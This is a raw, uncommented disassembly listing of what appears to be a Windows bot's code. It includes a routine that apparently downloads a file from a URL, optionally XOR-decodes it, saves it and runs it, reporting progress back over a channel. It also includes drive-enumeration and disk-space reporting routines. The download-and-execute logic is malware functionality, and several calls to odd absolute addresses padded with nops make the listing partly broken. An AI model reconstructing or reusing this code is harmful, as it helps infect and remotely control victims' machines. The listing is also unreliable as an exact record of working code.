; ---------------------------------------------------------------------------

loc_416034:				; CODE XREF: ___:0041601Aj
		push	edi
		call	dword_4CB00C
		cmp	[ebp+8], esi
		jz	loc_4160E6
		mov	edi, 400h

loc_416049:				; CODE XREF: ___:004160DDj
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_416056
		mov	[ebp-4], eax

loc_416056:				; CODE XREF: ___:00416051j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		call	near ptr 2790000h
		nop
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2710000h
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CAFC4
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CAF8C
		cmp	eax, ebx
		jl	loc_41617B
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_41617B
		sub	[ebp+8], eax
		jnz	loc_416049
		mov	edi, [ebp-18h]

loc_4160E6:				; CODE XREF: ___:0041603Ej
		push	dword ptr [ebp-8]
		call	near ptr 2670999h
		nop
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_4374B0
		push	eax
		call	sub_41B886

loc_41611F:				; CODE XREF: ___:00415FF6j
		add	esp, 14h

loc_416122:				; CODE XREF: ___:0041602Fj
		cmp	[ebp-50h], esi
		jnz	short loc_416147
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 14h

loc_416147:				; CODE XREF: ___:00416125j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4151AC
		cmp	edi, esi
		pop	ecx
		jbe	short loc_41615F
		push	edi
		call	dword_4CB00C

loc_41615F:				; CODE XREF: ___:00416156j
		push	dword ptr [ebp-1F8h]
		call	dword_4CB00C
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h

loc_41617B:				; CODE XREF: ___:004160C9j
					; ___:004160D4j
		push	esi
		mov	esi, offset dword_437498
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		push	esi
		call	sub_4151AC
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CB00C
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h

loc_4161BC:				; DATA XREF: sub_401ACD+7B4o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		call	near ptr 2680B81h
		nop
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_4293C4
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	near ptr 2710A21h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416246
		push	offset unk_437614
		jmp	short loc_41628C
; ---------------------------------------------------------------------------

loc_416246:				; CODE XREF: ___:0041623Dj
		push	eax
		nop
		call	near ptr 2670999h
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41B4C2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_41626E
		push	offset unk_4375E4
		jmp	short loc_41628C
; ---------------------------------------------------------------------------

loc_41626E:				; CODE XREF: ___:00416265j
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415BD3
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_41629F
		push	offset unk_4375C4

loc_41628C:				; CODE XREF: ___:00416244j
					; ___:0041626Cj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_41639B
; ---------------------------------------------------------------------------

loc_41629F:				; CODE XREF: ___:00416285j
		mov	esi, 1000h

loc_4162A4:				; CODE XREF: ___:0041630Aj
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAF8C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41636B
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41630C
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41D2B4
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CAF70
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		jmp	short loc_4162A4
; ---------------------------------------------------------------------------

loc_41630C:				; CODE XREF: ___:004162D4j
		lea	eax, [ebp-4C4h]
		push	offset dword_437498
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-4]
		call	sub_41B05B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CB00C
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	1
		nop
		call	near ptr 26F0000h

loc_41636B:				; CODE XREF: ___:004162CBj
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_437598
		push	eax
		call	sub_41B886
		add	esp, 14h

loc_41639B:				; CODE XREF: ___:0041629Aj
		cmp	[ebp-14h], ebx
		jnz	short loc_4163C0
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		add	esp, 14h

loc_4163C0:				; CODE XREF: ___:0041639Ej
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_4163DB
		push	dword ptr [ebp-4]
		call	sub_41B05B
		pop	ecx

loc_4163DB:				; CODE XREF: ___:004163D0j
		cmp	[ebp+8], ebx
		jbe	short loc_4163E9
		push	dword ptr [ebp+8]
		call	dword_4CB00C

loc_4163E9:				; CODE XREF: ___:004163DEj
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h

loc_4163F9:				; DATA XREF: sub_401ACD+6279o
					; sub_401ACD+6AB9o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CAF24
		call	dword_4CAE78
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416885
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		nop
		call	near ptr 2710A21h
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_4164C0
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_4377E0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4164A3
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_4164A3:				; CODE XREF: ___:00416481j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h

loc_4164C0:				; CODE XREF: ___:00416461j
		xor	edi, edi
		nop
		call	near ptr 26A0688h
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41B4D5
		pop	ecx
		mov	[ebp-1Ch], eax

loc_4164DA:				; CODE XREF: ___:004165ADj
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CAE80
		cmp	[ebp-34h], esi
		jz	short loc_41651E
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4168EB
		pop	ecx
		pop	ecx

loc_41651E:				; CODE XREF: ___:0041650Bj
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		nop
		call	near ptr 2700000h
		cmp	edi, ebx
		jnb	short loc_41655C
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_416546
		mov	eax, [ebp+8]

loc_416546:				; CODE XREF: ___:00416541j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch

loc_41655C:				; CODE XREF: ___:00416538j
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416569
		cmp	edi, [ebp-3Ch]
		ja	short loc_4165B3

loc_416569:				; CODE XREF: ___:00416562j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_416583
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4377B8
		jmp	short loc_416593
; ---------------------------------------------------------------------------

loc_416583:				; CODE XREF: ___:0041656Fj
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437790

loc_416593:				; CODE XREF: ___:00416581j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43DCB0
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_4164DA

loc_4165B3:				; CODE XREF: ___:00416567j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_416608
		cmp	edi, [ebp-3Ch]
		jz	short loc_416608
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_437764
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h

loc_416608:				; CODE XREF: ___:004165BDj
					; ___:004165C2j
		nop
		call	near ptr 26A0688h
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 2670999h
		push	dword ptr [ebp-1Ch]
		call	sub_41B0B1
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416692
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416692
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_43773C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h

loc_416692:				; CODE XREF: ___:0041663Aj
					; ___:0041664Cj
		cmp	[ebp-14h], esi
		jz	loc_4168D2
		cmp	dword ptr [ebp-44h], 1
		jz	loc_41678D
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_437704
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41670D
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_41670D:				; CODE XREF: ___:004166EBj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_4168D2
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CAEE0
		cmp	[ebp-30h], esi
		jnz	loc_4168D2
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_4376E8
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 24h
		jmp	loc_4168D2
; ---------------------------------------------------------------------------

loc_41678D:				; CODE XREF: ___:0041669Fj
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_4376A4
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4167F5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_4167F5:				; CODE XREF: ___:004167D3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset dword_43D128
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		nop
		call	near ptr 2670C98h
		cmp	eax, edi
		jnz	short loc_416877
		call	dword_4CAECC
		call	sub_418359
		push	esi
		nop
		call	near ptr 77E75CB5h

loc_416877:				; CODE XREF: ___:00416863j
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_437670
		jmp	short loc_416891
; ---------------------------------------------------------------------------

loc_416885:				; CODE XREF: ___:0041643Ej
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437644

loc_416891:				; CODE XREF: ___:00416883j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4168C5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_4168C5:				; CODE XREF: ___:004168A3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_4168D2:				; CODE XREF: ___:00416695j
					; ___:0041671Ej ...
		push	dword ptr [ebp-18h]
		call	dword_4CAFA8
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h

; =============== S U B	R O U T	I N E =======================================



sub_4168EB	proc near		; CODE XREF: ___:00416517p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416907

loc_4168F7:				; CODE XREF: sub_4168EB+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4168F7

locret_416907:				; CODE XREF: sub_4168EB+Aj
		retn
sub_4168EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_416908	proc near		; CODE XREF: sub_401ACD+5841p
					; sub_401ACD+5969p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41D3BE
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416908	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416922	proc near		; CODE XREF: sub_40F96A+458p
					; sub_40F96A+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D2BA8
		push	0
		push	edi
		call	sub_41B590
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]

loc_416947:				; CODE XREF: sub_416922+5Bj
					; sub_416922+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41D480
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41D410
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416985
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416947
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416947
; ---------------------------------------------------------------------------

loc_416985:				; CODE XREF: sub_416922+4Bj
		dec	esi
		mov	eax, edi

loc_416988:				; CODE XREF: sub_416922+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416997
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416988
; ---------------------------------------------------------------------------

loc_416997:				; CODE XREF: sub_416922+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416922	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169A1	proc near		; CODE XREF: sub_416B56+51p
					; sub_416B56+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CAFD4
		sub	eax, 0
		jz	short loc_4169E4
		dec	eax
		jz	short loc_4169DE
		dec	eax
		dec	eax
		jz	short loc_4169D8
		dec	eax
		jz	short loc_4169D2
		dec	eax
		jz	short loc_4169CC
		dec	eax
		jz	short loc_4169C6
		mov	eax, offset word_437834
		retn
; ---------------------------------------------------------------------------

loc_4169C6:				; CODE XREF: sub_4169A1+1Dj
		mov	eax, offset off_437830
		retn
; ---------------------------------------------------------------------------

loc_4169CC:				; CODE XREF: sub_4169A1+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------

loc_4169D2:				; CODE XREF: sub_4169A1+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------

loc_4169D8:				; CODE XREF: sub_4169A1+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------

loc_4169DE:				; CODE XREF: sub_4169A1+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------

loc_4169E4:				; CODE XREF: sub_4169A1+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4169A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169EA	proc near		; CODE XREF: sub_416A32+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CAE64
		test	eax, eax
		jz	short loc_416A1F
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax

loc_416A1F:				; CODE XREF: sub_4169EA+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4169EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A32	proc near		; CODE XREF: sub_416B56+17p
					; sub_41AA42+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4169EA
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		pop	ebx
		jmp	short loc_416B42
; ---------------------------------------------------------------------------

loc_416B10:				; CODE XREF: sub_416A32+2Cj
					; sub_416A32+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_416B42:				; CODE XREF: sub_416A32+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B56	proc near		; CODE XREF: sub_416C28+17p
					; sub_416C28+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416BC9
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_437884
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_416BFD
; ---------------------------------------------------------------------------

loc_416BC9:				; CODE XREF: sub_416B56+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_437848
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 20h

loc_416BFD:				; CODE XREF: sub_416B56+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416B56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C28	proc near		; CODE XREF: sub_401ACD+2553p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416C49
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h
		jmp	short loc_416CAA
; ---------------------------------------------------------------------------

loc_416C49:				; CODE XREF: sub_416C28+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CAEDC
		lea	esi, [eax+2]
		push	esi
		call	sub_41B4D5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CAEDC
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416CA1

loc_416C6D:				; CODE XREF: sub_416C28+77j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416C90
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
